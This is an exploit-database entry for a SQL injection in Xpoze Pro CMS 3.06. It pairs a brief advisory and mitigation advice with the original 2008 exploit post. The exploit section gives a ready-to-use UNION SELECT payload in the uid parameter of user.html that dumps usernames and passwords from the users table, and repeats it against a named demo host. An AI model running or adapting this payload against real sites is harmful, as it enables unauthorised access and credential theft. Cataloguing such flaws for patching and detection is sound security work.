Xpoze Pro CMS 2008 XPOZE Pro 3.06 SQL Injection Exploit

vendor:

Xpoze Pro CMS 2008

by:

farenh3it, sn0wman

CVSS

HIGH

SQL Injection

CWE

Product Name: Xpoze Pro CMS 2008

Affected Version From: Xpoze Pro CMS 2008 XPOZE Pro 3.06

Affected Version To: Xpoze Pro CMS 2008 XPOZE Pro 3.06

Patch Exists: YES

Related CWE: N/A

CPE: a:xpoze:xpoze_pro_cms_2008

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

Xpoze Pro CMS 2008 XPOZE Pro 3.06 SQL Injection Exploit

Xpoze Pro CMS 2008 XPOZE Pro 3.06 is vulnerable to a SQL injection attack. An attacker can exploit this vulnerability by sending a specially crafted HTTP request to the vulnerable application. This request contains malicious SQL statements that are executed in the backend database. This can allow an attacker to gain access to sensitive information such as usernames and passwords.

Mitigation:

Developers should ensure that user-supplied input is properly sanitized and validated before being used in SQL queries. Additionally, developers should use parameterized queries to prevent SQL injection attacks.

Source

Exploit-DB raw data:

######################
*^Hiva Digital Security Team^
          ^HIva Team^
######################
*Script:
Xpoze Pro CMS 2008
XPOZE Pro 3.06 SQL Injection Exploit
######################
*Demo:
http://demo.xpoze.org/
######################
*Authors:
farenh3it, sn0wman
######################
*Exploit:

/user.html?uid=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,concat(user,0x3a,pass),19,20,21,22,id,24,25,26,27,29,30,31,32,33+FROM+users+WHERE+id=1/*

######################
*for exam: 
http://demo.xpoze.org/user.html?uid=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,concat(user,0x3a,pass),19,20,21,22,id,24,25,26,27,29,30,31,32,33+FROM+users+WHERE+id=1/*
######################
*Thanks to str0ke :X

# milw0rm.com [2008-07-06]